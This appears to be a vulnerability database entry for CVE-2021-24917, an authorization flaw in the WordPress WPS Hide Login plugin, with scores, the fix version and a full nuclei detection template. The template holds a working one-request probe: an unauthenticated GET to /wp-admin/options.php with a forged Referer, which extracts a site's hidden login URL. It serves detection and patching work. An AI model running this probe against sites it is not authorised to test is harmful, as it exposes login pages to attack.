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CVE-2021-24917· wpserveur / wps hide login· CWE-863
WordPress WPS Hide Login <1.9.1 - Information Disclosure
highseverity
7.5CVSS score
72.2%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
WordPress WPS Hide Login plugin before 1.9.1 is susceptible to incorrect authorization. An attacker can obtain the secret login page by setting a random referer string and making a request to /wp-admin/options.php as an unauthenticated user. This reveals the secret login location.
Impact
An attacker can gain sensitive information about the WordPress site, such as the login page URL.
Fix
Fixed in version 1.9.1.
How to confirm it
Send: GET /wp-admin/options.php
Positive when: !contains(tolower(location), 'wp-login.php') AND contains in header "redirect_to=%2Fwp-admin%2Fsomething&reauth=1"Run it with nuclei: nuclei -id CVE-2021-24917 -u <target>
The full check
id: CVE-2021-24917
info:
name: WordPress WPS Hide Login <1.9.1 - Information Disclosure
author: akincibor
severity: high
description: WordPress WPS Hide Login plugin before 1.9.1 is susceptible to incorrect authorization. An attacker can obtain the secret login page by setting a random referer string and making a request to /wp-admin/options.php as an unauthenticated user. This reveals the secret login location.
impact: |
An attacker can gain sensitive information about the WordPress site, such as the login page URL.
remediation: Fixed in version 1.9.1.
reference:
- https://wpscan.com/vulnerability/15bb711a-7d70-4891-b7a2-c473e3e8b375
- https://nvd.nist.gov/vuln/detail/CVE-2021-24917
- https://wordpress.org/support/topic/bypass-security-issue/
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-24917
cwe-id: CWE-863
epss-score: 0.72179
epss-percentile: 0.99438
cpe: cpe:2.3:a:wpserveur:wps_hide_login:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: wpserveur
product: wps_hide_login
framework: wordpress
tags: cve2021,cve,wp,wordpress,wp-plugin,unauth,wpscan,wpserveur,vuln
http:
- raw:
- |
GET /wp-admin/options.php HTTP/1.1
Host: {{Hostname}}
Referer: something
matchers-condition: and
matchers:
- type: dsl
dsl:
- "!contains(tolower(location), 'wp-login.php')"
- type: word
part: header
words:
- 'redirect_to=%2Fwp-admin%2Fsomething&reauth=1'
extractors:
- type: kval
kval:
- locationReferences
- https://wpscan.com/vulnerability/15bb711a-7d70-4891-b7a2-c473e3e8b375
- https://nvd.nist.gov/vuln/detail/CVE-2021-24917
- https://wordpress.org/support/topic/bypass-security-issue/
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
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